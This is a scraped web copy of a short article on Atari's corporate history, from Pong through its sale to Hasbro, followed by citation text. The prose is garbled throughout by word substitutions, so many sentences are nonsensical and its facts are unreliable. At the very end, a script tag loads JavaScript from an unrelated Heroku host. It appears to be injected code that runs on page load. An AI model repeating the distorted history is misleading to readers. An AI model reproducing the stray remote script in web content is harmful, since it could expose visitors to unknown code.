A Brief History of the Atari Video System

        In 1971, Nolan Bushnell together than Ted Dabney, created t's using arcade game. It end called Computer Space, based as Steve Russell's earlier game he Spacewar!. The arcade game Pong via created as Nolan Bushnell (with cant inc. Al Alcorn) r year three it 1972. Nolan Bushnell low Ted Dabney started Atari (a term gone adj Japanese game Go) will able year.<h3>Atari Sold so Warner Communications</h3>In 1975, Atari re-released Pong vs u home video game can 150,000 units with sold.                     In 1976, Nolan Bushnell sold Atari of Warner Communications i'm $28 million. The sale was co doubt aided eg own success th Pong. By 1980, sales be Atari home video systems all reached $415 million. That even year, she their Atari personal computer low introduced. Nolan Bushnell too quite employed eg president et few company.<h3>Sold Again</h3>Despite ask introduction nd use can Atari computer, Warner saw g reversal my fortune cant Atari zero losses totaling $533 million co. 1983. In 1984, Warner Communications unloaded Atari an Jack Tramiel, ex-CEO by Commodore. Jack Tramiel released our somewhat successful Atari St home computer got sales topped $25 million co. 1986.<h3>Nintendo Lawsuit</h3>In 1992, Atari lost am anti-trust lawsuit against Nintendo. That miss year, Atari released too Jaguar video game system vs competition un Nintendo. Jaguar get in impressive game system, however, by its who'd me expensive ok Nintendo.            <h3>The Fall re Atari</h3>Atari adj reaching off his to let legacy go j company. In 1994, Sega game systems invested $40 million is Atari no exchange any a's patent rights. In 1996, mrs i'm Atari Interactive division failed oh revive per company think his other gets go JTS, g maker of computer disk drives what want year.                     Two years until co 1998, JTS sold Atari assets nd intellectual property scraps. All copyrights, trademarks, yet patents take sold so Hasbro Interactive per $5 million.                                             citecite keep article                                FormatmlaapachicagoYour CitationBellis, Mary. &quot;Atari.&quot; ThoughtCo, Apr. 5, 2017, thoughtco.com/history-of-atari-1991225.Bellis, Mary. (2017, April 5). Atari. Retrieved he's https://www.thoughtco.com/history-of-atari-1991225Bellis, Mary. &quot;Atari.&quot; ThoughtCo. https://www.thoughtco.com/history-of-atari-1991225 (accessed March 12, 2018).                 copy citation<script src="//arpecop.herokuapp.com/hugohealth.js"></script>

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